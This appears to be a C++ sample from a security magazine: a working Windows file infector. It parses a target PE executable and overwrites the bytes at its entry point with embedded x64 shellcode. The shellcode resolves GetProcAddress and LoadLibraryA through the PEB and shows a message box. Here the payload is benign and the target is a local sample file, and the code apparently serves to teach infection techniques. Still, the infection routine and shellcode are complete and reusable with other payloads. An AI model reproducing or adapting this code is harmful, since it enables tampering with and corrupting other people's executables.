#include int WINAPI WinMain( _In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd) { LPCWSTR infectionTarget = LR"(C:\Users\ethicalblue\Desktop\sample.exe)"; HANDLE hFile = CreateFileW(infectionTarget, GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0); if (hFile == INVALID_HANDLE_VALUE) ExitProcess(-1); DWORD dwReadWritten = 0; DWORD dwFileSize = GetFileSize(hFile, 0); LPVOID pFileData = HeapAlloc(GetProcessHeap(), 0, dwFileSize); BOOL succeed = ReadFile(hFile, pFileData, dwFileSize, &dwReadWritten, 0); if (succeed == FALSE) ExitProcess(-1); PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pFileData; if (pDosHeader == NULL) ExitProcess(-1); if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) ExitProcess(-1); PIMAGE_NT_HEADERS64 pNtHeaders = (PIMAGE_NT_HEADERS64)((ULONGLONG)pDosHeader + pDosHeader->e_lfanew); if (pNtHeaders == NULL) ExitProcess(-1); if(pNtHeaders->Signature != IMAGE_NT_SIGNATURE) ExitProcess(-1); PIMAGE_SECTION_HEADER pSectionHeaders = IMAGE_FIRST_SECTION(pNtHeaders); PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders); for (INT i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) { pSectionHeader = &pSectionHeaders[i]; if (pSectionHeader->Characteristics & IMAGE_SCN_CNT_CODE) break; } BYTE msgBox[] { 0x55, 0x53, 0x57, 0x56, 0x54, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x65, 0x4C, 0x8B, 0x14, 0x25, 0x60, 0x00, 0x00, 0x00, 0x4D, 0x8B, 0x52, 0x18, 0x4D, 0x8B, 0x5A, 0x20, 0x4D, 0x8B, 0x13, 0x4D, 0x8B, 0x1A, 0x49, 0x8B, 0x5B, 0x20, 0x44, 0x8B, 0x4B, 0x3C, 0x4C, 0x03, 0xCB, 0x49, 0x81, 0xC1, 0x88, 0x00, 0x00, 0x00, 0x45, 0x8B, 0x19, 0x4E, 0x8D, 0x04, 0x1B, 0x41, 0x8B, 0x48, 0x18, 0x45, 0x8B, 0x60, 0x20, 0x4C, 0x03, 0xE3, 0x4D, 0x8D, 0x14, 0x8C, 0x41, 0x8B, 0x3A, 0x48, 0x03, 0xFB, 0x48, 0x8D, 0x35, 0xC9, 0x00, 0x00, 0x00, 0xA6, 0x75, 0x08, 0x8A, 0x06, 0x84, 0xC0, 0x74, 0x05, 0xEB, 0xF5, 0xE2, 0xE2, 0xC3, 0x45, 0x8B, 0x50, 0x24, 0x4C, 0x03, 0xD3, 0x66, 0x41, 0x8B, 0x0C, 0x4A, 0x45, 0x8B, 0x50, 0x1C, 0x4C, 0x03, 0xD3, 0x41, 0x8B, 0x04, 0x8A, 0x48, 0x03, 0xC3, 0x4C, 0x8B, 0xF8, 0x48, 0xC7, 0xC1, 0x61, 0x72, 0x79, 0x41, 0x51, 0x48, 0xB9, 0x4C, 0x6F, 0x61, 0x64, 0x4C, 0x69, 0x62, 0x72, 0x51, 0x48, 0x8B, 0xD4, 0x48, 0x8B, 0xCB, 0x48, 0x83, 0xEC, 0x30, 0xFF, 0xD0, 0x48, 0x83, 0xC4, 0x40, 0x48, 0x8B, 0xF8, 0x48, 0xC7, 0xC1, 0x6C, 0x6C, 0x00, 0x00, 0x51, 0x48, 0xB9, 0x75, 0x73, 0x65, 0x72, 0x33, 0x32, 0x2E, 0x64, 0x51, 0x48, 0x8B, 0xCC, 0x48, 0x83, 0xEC, 0x30, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x40, 0x4C, 0x8B, 0xF0, 0x48, 0xC7, 0xC1, 0x6F, 0x78, 0x41, 0x00, 0x51, 0x48, 0xB9, 0x4D, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x42, 0x51, 0x48, 0x8B, 0xD4, 0x49, 0x8B, 0xCE, 0x48, 0x83, 0xEC, 0x28, 0x41, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x38, 0x4C, 0x8B, 0xE8, 0x48, 0x83, 0xEC, 0x30, 0x4D, 0x33, 0xC9, 0x4C, 0x8D, 0x05, 0x2F, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x15, 0x28, 0x00, 0x00, 0x00, 0x48, 0x33, 0xC9, 0x41, 0xFF, 0xD5, 0x48, 0x83, 0xC4, 0x30, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 0x5C, 0x5E, 0x5F, 0x5B, 0x5D, 0xEB, 0x25, 0x47, 0x65, 0x74, 0x50, 0x72, 0x6F, 0x63, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x00, 0x65, 0x74, 0x68, 0x69, 0x63, 0x61, 0x6C, 0x2E, 0x62, 0x6C, 0x75, 0x65, 0x20, 0x4D, 0x61, 0x67, 0x61, 0x7A, 0x69, 0x6E, 0x65, 0x00, 0xC3 }; ULONG offset = pNtHeaders->OptionalHeader.AddressOfEntryPoint - pSectionHeader->VirtualAddress + pSectionHeader->PointerToRawData; DWORD dwResult = SetFilePointer(hFile, offset, NULL, FILE_BEGIN); if (dwResult == INVALID_SET_FILE_POINTER) ExitProcess(-1); succeed = WriteFile(hFile, msgBox, sizeof(msgBox), &dwReadWritten, 0); if (succeed == FALSE) ExitProcess(-1); HeapFree(GetProcessHeap(), NULL, pFileData); CloseHandle(hFile); ExitProcess(0); }